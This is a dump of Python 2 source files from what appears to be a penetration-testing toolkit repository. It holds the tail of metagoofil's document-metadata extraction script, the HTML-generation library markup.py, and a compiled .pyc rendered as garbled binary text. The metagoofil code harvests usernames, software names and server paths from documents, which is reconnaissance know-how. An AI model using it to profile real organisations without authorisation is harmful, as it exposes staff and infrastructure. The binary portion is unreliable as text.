test=metadataPDF.metapdf(dir+"/"+filename,password) elif filetype == "doc" or filetype == "ppt" or filetype == "xls": test=metadataMSOffice.metaMs2k(dir+"/"+filename) if os.name=="posix": testex=metadataExtractor.metaExtractor(dir+"/"+filename) elif filetype == "docx" or filetype == "pptx" or filetype == "xlsx": test=metadataMSOfficeXML.metaInfoMS(dir+"/"+filename) res=test.getData() if res=="ok": raw=test.getRaw() users=test.getUsers() paths=test.getPaths() soft=test.getSoftware() if (filetype == "doc" or filetype == "xls" or filetype == "ppt") and os.name=="posix": testex.runExtract() testex.getData() paths.extend(testex.getPaths()) respack=[x,users,paths,soft,raw] all.append(respack) else: print "error" #A error in the parsing process else: print "pass" counter+=1 else: print "[-] Starting local analysis in directory " + dir dirList=os.listdir(dir) for filename in dirList: if filename !="": filetype=str(filename.split(".")[-1]) if filetype == "pdf": test=metadataPDF.metapdf(dir+"/"+filename,password) elif filetype == "doc" or filetype == "ppt" or filetype == "xls": test=metadataMSOffice.metaMs2k(dir+"/"+filename) if os.name=="posix": testex=metadataExtractor.metaExtractor(dir+"/"+filename) elif filetype == "docx" or filetype == "pptx" or filetype == "xlsx": test=metadataMSOfficeXML.metaInfoMS(dir+"/"+filename) res=test.getData() if res=="ok": raw=test.getRaw() users=test.getUsers() paths=test.getPaths() soft=test.getSoftware() if (filetype == "doc" or filetype == "xls" or filetype == "ppt") and os.name=="posix": valid=testex.runExtract() if valid=="ok": testex.getData() paths.extend(testex.getPaths()) else: pass soft=test.getSoftware() raw=test.getRaw() respack=[filename,users,paths,soft,raw] else: pass #An error in the parsing process else: pass all.append(respack) proc=processor.processor(all) userlist=proc.sort_users() softlist=proc.sort_software() pathlist=proc.sort_paths() try: save = writehtml(userlist,softlist,pathlist,all,outhtml,dir) except: print "Error creating the file" print "\n[+] List of users found:" print "--------------------" for x in userlist: print x print "\n[+] List of software found:" print "-----------------------" for x in softlist: print x print "\n[+] List of paths and servers found:" print "--------------------------------" for x in pathlist: print x if __name__ == "__main__": try: doprocess(sys.argv[1:]) except KeyboardInterrupt: print "Process interrupted by user." except: sys.exit()
6,631
Python
.py
214
27.313084
101
0.644195
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,442
markup.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/markup.py
# This code is in the public domain, it comes # with absolutely no warranty and you can do # absolutely whatever you want with it. __date__ = '17 May 2007' __version__ = '1.7' __doc__= """ This is markup.py - a Python module that attempts to make it easier to generate HTML/XML from a Python program in an intuitive, lightweight, customizable and pythonic way. The code is in the public domain. Version: %s as of %s. Documentation and further info is at http://markup.sourceforge.net/ Please send bug reports, feature requests, enhancement ideas or questions to nogradi at gmail dot com. Installation: drop markup.py somewhere into your Python path. """ % ( __version__, __date__ ) import string class element: """This class handles the addition of a new element.""" def __init__( self, tag, case='lower', parent=None ): self.parent = parent if case == 'lower': self.tag = tag.lower( ) else: self.tag = tag.upper( ) def __call__( self, *args, **kwargs ): if len( args ) > 1: raise ArgumentError( self.tag ) # if class_ was defined in parent it should be added to every element if self.parent is not None and self.parent.class_ is not None: if 'class_' not in kwargs: kwargs['class_'] = self.parent.class_ if self.parent is None and len( args ) == 1: x = [ self.render( self.tag, False, myarg, mydict ) for myarg, mydict in _argsdicts( args, kwargs ) ] return '\n'.join( x ) elif self.parent is None and len( args ) == 0: x = [ self.render( self.tag, True, myarg, mydict ) for myarg, mydict in _argsdicts( args, kwargs ) ] return '\n'.join( x ) if self.tag in self.parent.twotags: for myarg, mydict in _argsdicts( args, kwargs ): self.render( self.tag, False, myarg, mydict ) elif self.tag in self.parent.onetags: if len( args ) == 0: for myarg, mydict in _argsdicts( args, kwargs ): self.render( self.tag, True, myarg, mydict ) # here myarg is always None, because len( args ) = 0 else: raise ClosingError( self.tag ) elif self.parent.mode == 'strict_html' and self.tag in self.parent.deptags: raise DeprecationError( self.tag ) else: raise InvalidElementError( self.tag, self.parent.mode ) def render( self, tag, single, between, kwargs ): """Append the actual tags to content.""" out = "<%s" % tag for key, value in kwargs.iteritems( ): if value is not None: # when value is None that means stuff like <... checked> key = key.strip('_') # strip this so class_ will mean class, etc. if key == 'http_equiv': # special cases, maybe change _ to - overall? key = 'http-equiv' elif key == 'accept_charset': key = 'accept-charset' out = "%s %s=\"%s\"" % ( out, key, escape( value ) ) else: out = "%s %s" % ( out, key ) if between is not None: out = "%s>%s</%s>" % ( out, between, tag ) else: if single: out = "%s />" % out else: out = "%s>" % out if self.parent is not None: self.parent.content.append( out ) else: return out def close( self ): """Append a closing tag unless element has only opening tag.""" if self.tag in self.parent.twotags: self.parent.content.append( "</%s>" % self.tag ) elif self.tag in self.parent.onetags: raise ClosingError( self.tag ) elif self.parent.mode == 'strict_html' and self.tag in self.parent.deptags: raise DeprecationError( self.tag ) def open( self, **kwargs ): """Append an opening tag.""" if self.tag in self.parent.twotags or self.tag in self.parent.onetags: self.render( self.tag, False, None, kwargs ) elif self.mode == 'strict_html' and self.tag in self.parent.deptags: raise DeprecationError( self.tag ) class page: """This is our main class representing a document. Elements are added as attributes of an instance of this class.""" def __init__( self, mode='strict_html', case='lower', onetags=None, twotags=None, separator='\n', class_=None ): """Stuff that effects the whole document. mode -- 'strict_html' for HTML 4.01 (default) 'html' alias for 'strict_html' 'loose_html' to allow some deprecated elements 'xml' to allow arbitrary elements case -- 'lower' element names will be printed in lower case (default) 'upper' they will be printed in upper case onetags -- list or tuple of valid elements with opening tags only twotags -- list or tuple of valid elements with both opening and closing tags these two keyword arguments may be used to select the set of valid elements in 'xml' mode invalid elements will raise appropriate exceptions separator -- string to place between added elements, defaults to newline class_ -- a class that will be added to every element if defined""" valid_onetags = [ "AREA", "BASE", "BR", "COL", "FRAME", "HR", "IMG", "INPUT", "LINK", "META", "PARAM" ] valid_twotags = [ "A", "ABBR", "ACRONYM", "ADDRESS", "B", "BDO", "BIG", "BLOCKQUOTE", "BODY", "BUTTON", "CAPTION", "CITE", "CODE", "COLGROUP", "DD", "DEL", "DFN", "DIV", "DL", "DT", "EM", "FIELDSET", "FORM", "FRAMESET", "H1", "H2", "H3", "H4", "H5", "H6", "HEAD", "HTML", "I", "IFRAME", "INS", "KBD", "LABEL", "LEGEND", "LI", "MAP", "NOFRAMES", "NOSCRIPT", "OBJECT", "OL", "OPTGROUP", "OPTION", "P", "PRE", "Q", "SAMP", "SCRIPT", "SELECT", "SMALL", "SPAN", "STRONG", "STYLE", "SUB", "SUP", "TABLE", "TBODY", "TD", "TEXTAREA", "TFOOT", "TH", "THEAD", "TITLE", "TR", "TT", "UL", "VAR" ] deprecated_onetags = [ "BASEFONT", "ISINDEX" ] deprecated_twotags = [ "APPLET", "CENTER", "DIR", "FONT", "MENU", "S", "STRIKE", "U" ] self.header = [ ] self.content = [ ] self.footer = [ ] self.case = case self.separator = separator # init( ) sets it to True so we know that </body></html> has to be printed at the end self._full = False self.class_= class_ if mode == 'strict_html' or mode == 'html': self.onetags = valid_onetags self.onetags += map( string.lower, self.onetags ) self.twotags = valid_twotags self.twotags += map( string.lower, self.twotags ) self.deptags = deprecated_onetags + deprecated_twotags self.deptags += map( string.lower, self.deptags ) self.mode = 'strict_html' elif mode == 'loose_html': self.onetags = valid_onetags + deprecated_onetags self.onetags += map( string.lower, self.onetags ) self.twotags = valid_twotags + deprecated_twotags self.twotags += map( string.lower, self.twotags ) self.mode = mode elif mode == 'xml': if onetags and twotags: self.onetags = onetags self.twotags = twotags elif ( onetags and not twotags ) or ( twotags and not onetags ): raise CustomizationError( ) else: self.onetags = russell( ) self.twotags = russell( ) self.mode = mode else: raise ModeError( mode ) def __getattr__( self, attr ): if attr.startswith("__") and attr.endswith("__"): raise AttributeError, attr return element( attr, case=self.case, parent=self ) def __str__( self ): if self._full and ( self.mode == 'strict_html' or self.mode == 'loose_html' ): end = [ '</body>', '</html>' ] else: end = [ ] return self.separator.join( self.header + self.content + self.footer + end ) def __call__( self, escape=False ): """Return the document as a string. escape -- False print normally True replace < and > by &lt; and &gt; the default escape sequences in most browsers""" if escape: return _escape( self.__str__( ) ) else: return self.__str__( ) def add( self, text ): """This is an alias to addcontent.""" self.addcontent( text ) def addfooter( self, text ): """Add some text to the bottom of the document""" self.footer.append( text ) def addheader( self, text ): """Add some text to the top of the document""" self.header.append( text ) def addcontent( self, text ): """Add some text to the main part of the document""" self.content.append( text ) def init( self, lang='en', css=None, metainfo=None, title=None, header=None, footer=None, charset=None, encoding=None, doctype=None, bodyattrs=None, script=None ): """This method is used for complete documents with appropriate doctype, encoding, title, etc information. For an HTML/XML snippet omit this method. lang -- language, usually a two character string, will appear as <html lang='en'> in html mode (ignored in xml mode) css -- Cascading Style Sheet filename as a string or a list of strings for multiple css files (ignored in xml mode) metainfo -- a dictionary in the form { 'name':'content' } to be inserted into meta element(s) as <meta name='name' content='content'> (ignored in xml mode) bodyattrs --a dictionary in the form { 'key':'value', ... } which will be added as attributes of the <body> element as <body key='value' ... > (ignored in xml mode) script -- dictionary containing src:type pairs, <script type='text/type' src=src></script> title -- the title of the document as a string to be inserted into a title element as <title>my title</title> (ignored in xml mode) header -- some text to be inserted right after the <body> element (ignored in xml mode) footer -- some text to be inserted right before the </body> element (ignored in xml mode) charset -- a string defining the character set, will be inserted into a <meta http-equiv='Content-Type' content='text/html; charset=myset'> element (ignored in xml mode) encoding -- a string defining the encoding, will be put into to first line of the document as <?xml version='1.0' encoding='myencoding' ?> in xml mode (ignored in html mode) doctype -- the document type string, defaults to <!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'> in html mode (ignored in xml mode)""" self._full = True if self.mode == 'strict_html' or self.mode == 'loose_html': if doctype is None: doctype = "<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'>" self.header.append( doctype ) self.html( lang=lang ) self.head( ) if charset is not None: self.meta( http_equiv='Content-Type', content="text/html; charset=%s" % charset ) if metainfo is not None: self.metainfo( metainfo ) if css is not None: self.css( css ) if title is not None: self.title( title ) if script is not None: self.scripts( script ) self.head.close() if bodyattrs is not None: self.body( **bodyattrs ) else: self.body( ) if header is not None: self.content.append( header ) if footer is not None: self.footer.append( footer ) elif self.mode == 'xml': if doctype is None: if encoding is not None: doctype = "<?xml version='1.0' encoding='%s' ?>" % encoding else: doctype = "<?xml version='1.0' ?>" self.header.append( doctype ) def css( self, filelist ): """This convenience function is only useful for html. It adds css stylesheet(s) to the document via the <link> element.""" if isinstance( filelist, basestring ): self.link( href=filelist, rel='stylesheet', type='text/css', media='all' ) else: for file in filelist: self.link( href=file, rel='stylesheet', type='text/css', media='all' ) def metainfo( self, mydict ): """This convenience function is only useful for html. It adds meta information via the <meta> element, the argument is a dictionary of the form { 'name':'content' }.""" if isinstance( mydict, dict ): for name, content in mydict.iteritems( ): self.meta( name=name, content=content ) else: raise TypeError, "Metainfo should be called with a dictionary argument of name:content pairs." def scripts( self, mydict ): """Only useful in html, mydict is dictionary of src:type pairs will be rendered as <script type='text/type' src=src></script>""" if isinstance( mydict, dict ): for src, type in mydict.iteritems( ): self.script( '', src=src, type='text/%s' % type ) else: raise TypeError, "Script should be given a dictionary of src:type pairs." class _oneliner: """An instance of oneliner returns a string corresponding to one element. This class can be used to write 'oneliners' that return a string immediately so there is no need to instantiate the page class.""" def __init__( self, case='lower' ): self.case = case def __getattr__( self, attr ): if attr.startswith("__") and attr.endswith("__"): raise AttributeError, attr return element( attr, case=self.case, parent=None ) oneliner = _oneliner( case='lower' ) upper_oneliner = _oneliner( case='upper' ) def _argsdicts( args, mydict ): """A utility generator that pads argument list and dictionary values, will only be called with len( args ) = 0, 1.""" if len( args ) == 0: args = None, elif len( args ) == 1: args = _totuple( args[0] ) else: raise Exception, "We should have never gotten here." mykeys = mydict.keys( ) myvalues = map( _totuple, mydict.values( ) ) maxlength = max( map( len, [ args ] + myvalues ) ) for i in xrange( maxlength ): thisdict = { } for key, value in zip( mykeys, myvalues ): try: thisdict[ key ] = value[i] except IndexError: thisdict[ key ] = value[-1] try: thisarg = args[i] except IndexError: thisarg = args[-1] yield thisarg, thisdict def _totuple( x ): """Utility stuff to convert string, int, float, None or anything to a usable tuple.""" if isinstance( x, basestring ): out = x, elif isinstance( x, ( int, float ) ): out = str( x ), elif x is None: out = None, else: out = tuple( x ) return out def escape( text, newline=False ): """Escape special html characters.""" if isinstance( text, basestring ): if '&' in text: text = text.replace( '&', '&amp;' ) if '>' in text: text = text.replace( '>', '&gt;' ) if '<' in text: text = text.replace( '<', '&lt;' ) if '\"' in text: text = text.replace( '\"', '&quot;' ) if '\'' in text: text = text.replace( '\'', '&quot;' ) if newline: if '\n' in text: text = text.replace( '\n', '<br>' ) return text _escape = escape def unescape( text ): """Inverse of escape.""" if isinstance( text, basestring ): if '&amp;' in text: text = text.replace( '&amp;', '&' ) if '&gt;' in text: text = text.replace( '&gt;', '>' ) if '&lt;' in text: text = text.replace( '&lt;', '<' ) if '&quot;' in text: text = text.replace( '&quot;', '\"' ) return text class dummy: """A dummy class for attaching attributes.""" pass doctype = dummy( ) doctype.frameset = "<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Frameset//EN' 'http://www.w3.org/TR/html4/frameset.dtd'>" doctype.strict = "<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'>" doctype.loose = "<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'>" class russell: """A dummy class that contains anything.""" def __contains__( self, item ): return True class MarkupError( Exception ): """All our exceptions subclass this.""" def __str__( self ): return self.message class ClosingError( MarkupError ): def __init__( self, tag ): self.message = "The element '%s' does not accept non-keyword arguments (has no closing tag)." % tag class OpeningError( MarkupError ): def __init__( self, tag ): self.message = "The element '%s' can not be opened." % tag class ArgumentError( MarkupError ): def __init__( self, tag ): self.message = "The element '%s' was called with more than one non-keyword argument." % tag class InvalidElementError( MarkupError ): def __init__( self, tag, mode ): self.message = "The element '%s' is not valid for your mode '%s'." % ( tag, mode ) class DeprecationError( MarkupError ): def __init__( self, tag ): self.message = "The element '%s' is deprecated, instantiate markup.page with mode='loose_html' to allow it." % tag class ModeError( MarkupError ): def __init__( self, mode ): self.message = "Mode '%s' is invalid, possible values: strict_html, loose_html, xml." % mode class CustomizationError( MarkupError ): def __init__( self ): self.message = "If you customize the allowed elements, you must define both types 'onetags' and 'twotags'." if __name__ == '__main__': print __doc__
18,829
Python
.py
385
38.94026
122
0.576291
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,443
markup.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/markup.pyc
—Ú Œ »Mc@s¿dZdZdeefZddkZdd*dÑÉYZdd+dÑÉYZd d,d ÑÉYZed d ÉZed d ÉZdÑZ dÑZ e dÑZ e Z dÑZdd-dÑÉYZeÉZde_de_de_dd.dÑÉYZdefdÑÉYZdefdÑÉYZdefdÑÉYZdefd ÑÉYZd!efd"ÑÉYZd#efd$ÑÉYZd%efd&ÑÉYZd'efd(ÑÉYZed)jo eGHndS(/s 17 May 2007s1.7s” This is markup.py - a Python module that attempts to make it easier to generate HTML/XML from a Python program in an intuitive, lightweight, customizable and pythonic way. The code is in the public domain. Version: %s as of %s. Documentation and further info is at http://markup.sourceforge.net/ Please send bug reports, feature requests, enhancement ideas or questions to nogradi at gmail dot com. Installation: drop markup.py somewhere into your Python path. iˇˇˇˇNtelementcBsAeZdZdddÑZdÑZdÑZdÑZdÑZRS(s1This class handles the addition of a new element.tlowercCs<||_|djo|iÉ|_n|iÉ|_dS(NR(tparentRttagtupper(tselfRtcaseR((s0/pentest/enumeration/google/metagoofil/markup.pyt__init__s  cOs~t|Édjot|iÉÇn|idj o8|iidj o%d|jo|ii|d<qnn|idjoft|ÉdjoSg}t||ÉD](\}}||i|it||Éq•~}di |ÉS|idjoft|ÉdjoSg}t||ÉD](\}}||i|it ||Éq~}di |ÉS|i|ii jo=xt||ÉD]%\}}|i|it||ÉqÄWnŒ|i|ii joct|Édjo=xIt||ÉD]%\}}|i|it ||ÉqÊWqzt |iÉÇnU|iidjo)|i|iijot|iÉÇnt|i|iiÉÇdS(Nitclass_s it strict_html(tlent ArgumentErrorRRtNoneRt _argsdictstrendertFalsetjointTruettwotagstonetagst ClosingErrortmodetdeptagstDeprecationErrortInvalidElementError(Rtargstkwargst_[1]tmyargtmydicttxt_[2]((s0/pentest/enumeration/google/metagoofil/markup.pyt__call__%s0# #E#E ! !)cCsd|}xë|iÉD]É\}}|d j oZ|idÉ}|djo d}n|djo d}nd||t|Éf}qd||f}qW|d j od |||f}n |od |}n d |}|id j o|iii|Én|Sd S( s"Append the actual tags to content.s<%st_t http_equivs http-equivtaccept_charsetsaccept-charsets %s %s="%s"s%s %ss %s>%s</%s>s%s />s%s>N(t iteritemsR tstriptescapeRtcontenttappend(RRtsingletbetweenRtouttkeytvalue((s0/pentest/enumeration/google/metagoofil/markup.pyRCs&         cCsù|i|iijo|iiid|iÉnf|i|iijot|iÉÇn=|iidjo)|i|iijot |iÉÇndS(s9Append a closing tag unless element has only opening tag.s</%s>R N( RRRR'R(RRRRR(R((s0/pentest/enumeration/google/metagoofil/markup.pytclose]s )cKsÜ|i|iijp|i|iijo|i|itd|Én:|idjo)|i|iijot |iÉÇndS(sAppend an opening tag.R N( RRRRRRR RRR(RR((s0/pentest/enumeration/google/metagoofil/markup.pytopengs,&N( t__name__t __module__t__doc__R RR RR.R/(((s0/pentest/enumeration/google/metagoofil/markup.pyRs    tpagec Bs∞eZdZdddddddÑZdÑZdÑZedÑZdÑZ d ÑZ d ÑZ d ÑZ d ddddddddddd Ñ Z dÑZdÑZdÑZRS(srThis is our main class representing a document. Elements are added as attributes of an instance of this class.R Rs c FCs ddddddddd d d g }d d ddddddddddddddddddd d!d"d#d$d%d&d'd(d)d*d+d,d-d.d/d0d1d2d3d4d5d6d7d8d9d:d;d<d=d>d?d@dAdBdCdDdEdFdGdHdIdJdKdLdMdNdOdPdQgF}dRdSg} dTdUdVdWdXdYdZd[g} g|_g|_g|_||_||_t|_||_|d\jp |d]joÜ||_|it t i |iÉ7_||_ |i t t i |i É7_ | | |_ |i t t i |i É7_ d\|_n˛|d^joc|| |_|it t i |iÉ7_|| |_ |i t t i |i É7_ ||_né|d_jot|o|o||_||_ nD|o| p|o| o tÉÇntÉ|_tÉ|_ ||_n t|ÉÇd`S(asStuff that effects the whole document. mode -- 'strict_html' for HTML 4.01 (default) 'html' alias for 'strict_html' 'loose_html' to allow some deprecated elements 'xml' to allow arbitrary elements case -- 'lower' element names will be printed in lower case (default) 'upper' they will be printed in upper case onetags -- list or tuple of valid elements with opening tags only twotags -- list or tuple of valid elements with both opening and closing tags these two keyword arguments may be used to select the set of valid elements in 'xml' mode invalid elements will raise appropriate exceptions separator -- string to place between added elements, defaults to newline class_ -- a class that will be added to every element if definedtAREAtBASEtBRtCOLtFRAMEtHRtIMGtINPUTtLINKtMETAtPARAMtAtABBRtACRONYMtADDRESStBtBDOtBIGt BLOCKQUOTEtBODYtBUTTONtCAPTIONtCITEtCODEtCOLGROUPtDDtDELtDFNtDIVtDLtDTtEMtFIELDSETtFORMtFRAMESETtH1tH2tH3tH4tH5tH6tHEADtHTMLtItIFRAMEtINStKBDtLABELtLEGENDtLItMAPtNOFRAMEStNOSCRIPTtOBJECTtOLtOPTGROUPtOPTIONtPtPREtQtSAMPtSCRIPTtSELECTtSMALLtSPANtSTRONGtSTYLEtSUBtSUPtTABLEtTBODYtTDtTEXTAREAtTFOOTtTHtTHEADtTITLEtTRtTTtULtVARtBASEFONTtISINDEXtAPPLETtCENTERtDIRtFONTtMENUtStSTRIKEtUR thtmlt loose_htmltxmlN(theaderR'tfooterRt separatorRt_fullRRtmaptstringRRRRtCustomizationErrortrussellt ModeError( RRRRRRîRt valid_onetagst valid_twotagstdeprecated_onetagstdeprecated_twotags((s0/pentest/enumeration/google/metagoofil/markup.pyRssR'$'!!                       cCsF|idÉo|idÉo t|Çnt|d|id|ÉS(Nt__RR(t startswithtendswithtAttributeErrorRR(Rtattr((s0/pentest/enumeration/google/metagoofil/markup.pyt __getattr__∏s  cCse|io0|idjp|idjoddg}ng}|ii|i|i|i|ÉS(NR Rês</body>s</html>(RïRRîRRíR'Rì(Rtend((s0/pentest/enumeration/google/metagoofil/markup.pyt__str__Ωs*cCs&|ot|iÉÉS|iÉSdS(s”Return the document as a string. escape -- False print normally True replace < and > by &lt; and &gt; the default escape sequences in most browsersN(t_escapeR¶(RR&((s0/pentest/enumeration/google/metagoofil/markup.pyR ∆scCs|i|ÉdS(sThis is an alias to addcontent.N(t addcontent(Rttext((s0/pentest/enumeration/google/metagoofil/markup.pytadd“scCs|ii|ÉdS(s+Add some text to the bottom of the documentN(RìR((RR©((s0/pentest/enumeration/google/metagoofil/markup.pyt addfooter÷scCs|ii|ÉdS(s(Add some text to the top of the documentN(RíR((RR©((s0/pentest/enumeration/google/metagoofil/markup.pyt addheader⁄scCs|ii|ÉdS(s.Add some text to the main part of the documentN(R'R((RR©((s0/pentest/enumeration/google/metagoofil/markup.pyR®fistenc Cs‚t|_|idjp|idjo_| d jo d} n|ii| É|id|É|iÉ|d j o|idddd|Én|d j o|i |Én|d j o|i |Én|d j o|i |Én| d j o|i | Én|ii É| d j o|i| çn |iÉ|d j o|ii|Én|d j o|ii|ÉqfinW|id joF| d jo%|d j od |} q d } n|ii| Énd S( sÚThis method is used for complete documents with appropriate doctype, encoding, title, etc information. For an HTML/XML snippet omit this method. lang -- language, usually a two character string, will appear as <html lang='en'> in html mode (ignored in xml mode) css -- Cascading Style Sheet filename as a string or a list of strings for multiple css files (ignored in xml mode) metainfo -- a dictionary in the form { 'name':'content' } to be inserted into meta element(s) as <meta name='name' content='content'> (ignored in xml mode) bodyattrs --a dictionary in the form { 'key':'value', ... } which will be added as attributes of the <body> element as <body key='value' ... > (ignored in xml mode) script -- dictionary containing src:type pairs, <script type='text/type' src=src></script> title -- the title of the document as a string to be inserted into a title element as <title>my title</title> (ignored in xml mode) header -- some text to be inserted right after the <body> element (ignored in xml mode) footer -- some text to be inserted right before the </body> element (ignored in xml mode) charset -- a string defining the character set, will be inserted into a <meta http-equiv='Content-Type' content='text/html; charset=myset'> element (ignored in xml mode) encoding -- a string defining the encoding, will be put into to first line of the document as <?xml version='1.0' encoding='myencoding' ?> in xml mode (ignored in html mode) doctype -- the document type string, defaults to <!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'> in html mode (ignored in xml mode)R Rês?<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'>tlangR"s Content-TypeR'stext/html; charset=%sRës$<?xml version='1.0' encoding='%s' ?>s<?xml version='1.0' ?>N(RRïRR RíR(RètheadtmetatmetainfotcssttitletscriptsR.tbodyR'Rì( RRÆR≤R±R≥RíRìtcharsettencodingtdoctypet bodyattrstscript((s0/pentest/enumeration/google/metagoofil/markup.pytinit„s>+                  c Csmt|tÉo&|id|ddddddÉn4x0|D](}|id|ddddddÉq=WdS( s|This convenience function is only useful for html. It adds css stylesheet(s) to the document via the <link> element.threftrelt stylesheetttypestext/csstmediatallN(t isinstancet basestringtlink(Rtfilelisttfile((s0/pentest/enumeration/google/metagoofil/markup.pyR≤2s &cCsTt|tÉo7x=|iÉD]"\}}|id|d|ÉqWn tdÇdS(s≤This convenience function is only useful for html. It adds meta information via the <meta> element, the argument is a dictionary of the form { 'name':'content' }.tnameR'sKMetainfo should be called with a dictionary argument of name:content pairs.N(R¬tdictR$R∞t TypeError(RRR«R'((s0/pentest/enumeration/google/metagoofil/markup.pyR±<s  cCs[t|tÉo>xD|iÉD])\}}|idd|dd|ÉqWn tdÇdS(sÇOnly useful in html, mydict is dictionary of src:type pairs will be rendered as <script type='text/type' src=src></script>ttsrcRøstext/%ss6Script should be given a dictionary of src:type pairs.N(R¬R»R$R∫R…(RRRÀRø((s0/pentest/enumeration/google/metagoofil/markup.pyR¥Gs  %N(R0R1R2R RR§R¶RR R™R´R¨R®RªR≤R±R¥(((s0/pentest/enumeration/google/metagoofil/markup.pyR3osE     N t _onelinercBs#eZdZddÑZdÑZRS(sŒAn instance of oneliner returns a string corresponding to one element. This class can be used to write 'oneliners' that return a string immediately so there is no need to instantiate the page class.RcCs ||_dS(N(R(RR((s0/pentest/enumeration/google/metagoofil/markup.pyRWscCsF|idÉo|idÉo t|Çnt|d|iddÉS(NRüRR(R†R°R¢RRR (RR£((s0/pentest/enumeration/google/metagoofil/markup.pyR§Zs  (R0R1R2RR§(((s0/pentest/enumeration/google/metagoofil/markup.pyRÃRs RRRc cs:t|Édjo d}n1t|Édjot|dÉ}n tdÇ|iÉ}tt|iÉÉ}ttt|g|ÉÉ}x©t|ÉD]õ}h}xSt ||ÉD]B\}}y||||<Wq≥t j o|d||<q≥Xq≥Wy||} Wnt j o|d} nX| |fVqóWdS(soA utility generator that pads argument list and dictionary values, will only be called with len( args ) = 0, 1.iis!We should have never gotten here.iˇˇˇˇN(N( R R t_totuplet ExceptiontkeysRñtvaluestmaxtxrangetzipt IndexError( RRtmykeystmyvaluest maxlengthtitthisdictR,R-tthisarg((s0/pentest/enumeration/google/metagoofil/markup.pyR bs,     cCsmt|tÉo |f}nMt|ttfÉot|Éf}n$|djo d}n t|É}|S(sPUtility stuff to convert string, int, float, None or anything to a usable tuple.N(N(R¬R√tinttfloattstrR ttuple(RR+((s0/pentest/enumeration/google/metagoofil/markup.pyRÕs    cCsıt|tÉo·d|jo|iddÉ}nd|jo|iddÉ}nd|jo|iddÉ}nd|jo|iddÉ}nd |jo|id dÉ}n|o'd |jo|id d É}qÌqÒn|S( sEscape special html characters.t&s&amp;t>s&gt;t<s&lt;s"s&quot;s's s<br>(R¬R√treplace(R©tnewline((s0/pentest/enumeration/google/metagoofil/markup.pyR&çs      cCs§t|tÉoêd|jo|iddÉ}nd|jo|iddÉ}nd|jo|iddÉ}nd|jo|iddÉ}q†n|S( sInverse of escape.s&amp;Rfls&gt;R‡s&lt;R·s&quot;s"(R¬R√R‚(R©((s0/pentest/enumeration/google/metagoofil/markup.pytunescape£s    tdummycBseZdZRS(s'A dummy class for attaching attributes.(R0R1R2(((s0/pentest/enumeration/google/metagoofil/markup.pyRÂ≤sse<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Frameset//EN' 'http://www.w3.org/TR/html4/frameset.dtd'>sZ<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'>sf<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'>RôcBseZdZdÑZRS(s%A dummy class that contains anything.cCstS(N(R(Rtitem((s0/pentest/enumeration/google/metagoofil/markup.pyt __contains__æs(R0R1R2RÁ(((s0/pentest/enumeration/google/metagoofil/markup.pyRôªst MarkupErrorcBseZdZdÑZRS(s!All our exceptions subclass this.cCs|iS(N(tmessage(R((s0/pentest/enumeration/google/metagoofil/markup.pyR¶ƒs(R0R1R2R¶(((s0/pentest/enumeration/google/metagoofil/markup.pyRˬsRcBseZdÑZRS(cCsd||_dS(NsLThe element '%s' does not accept non-keyword arguments (has no closing tag).(RÈ(RR((s0/pentest/enumeration/google/metagoofil/markup.pyR»s(R0R1R(((s0/pentest/enumeration/google/metagoofil/markup.pyR«st OpeningErrorcBseZdÑZRS(cCsd||_dS(Ns#The element '%s' can not be opened.(RÈ(RR((s0/pentest/enumeration/google/metagoofil/markup.pyRÃs(R0R1R(((s0/pentest/enumeration/google/metagoofil/markup.pyRÍÀsR cBseZdÑZRS(cCsd||_dS(NsDThe element '%s' was called with more than one non-keyword argument.(RÈ(RR((s0/pentest/enumeration/google/metagoofil/markup.pyR–s(R0R1R(((s0/pentest/enumeration/google/metagoofil/markup.pyR œsRcBseZdÑZRS(cCsd||f|_dS(Ns1The element '%s' is not valid for your mode '%s'.(RÈ(RRR((s0/pentest/enumeration/google/metagoofil/markup.pyR‘s(R0R1R(((s0/pentest/enumeration/google/metagoofil/markup.pyR”sRcBseZdÑZRS(cCsd||_dS(Ns[The element '%s' is deprecated, instantiate markup.page with mode='loose_html' to allow it.(RÈ(RR((s0/pentest/enumeration/google/metagoofil/markup.pyRÿs(R0R1R(((s0/pentest/enumeration/google/metagoofil/markup.pyR◊sRöcBseZdÑZRS(cCsd||_dS(NsDMode '%s' is invalid, possible values: strict_html, loose_html, xml.(RÈ(RR((s0/pentest/enumeration/google/metagoofil/markup.pyR‹s(R0R1R(((s0/pentest/enumeration/google/metagoofil/markup.pyRö€sRòcBseZdÑZRS(cCs d|_dS(NsZIf you customize the allowed elements, you must define both types 'onetags' and 'twotags'.(RÈ(R((s0/pentest/enumeration/google/metagoofil/markup.pyR‡s(R0R1R(((s0/pentest/enumeration/google/metagoofil/markup.pyRòflst__main__((((((t__date__t __version__R2RóRR3RÃtonelinertupper_onelinerR RÕRR&RßR‰RÂR∏tframesettstricttlooseRôRŒRËRRÍR RRRöRòR0(((s0/pentest/enumeration/google/metagoofil/markup.pyt<module>s: U„          
21,730
Python
.py
135
154.318519
4,845
0.459258
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,444
parser.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/parser.py
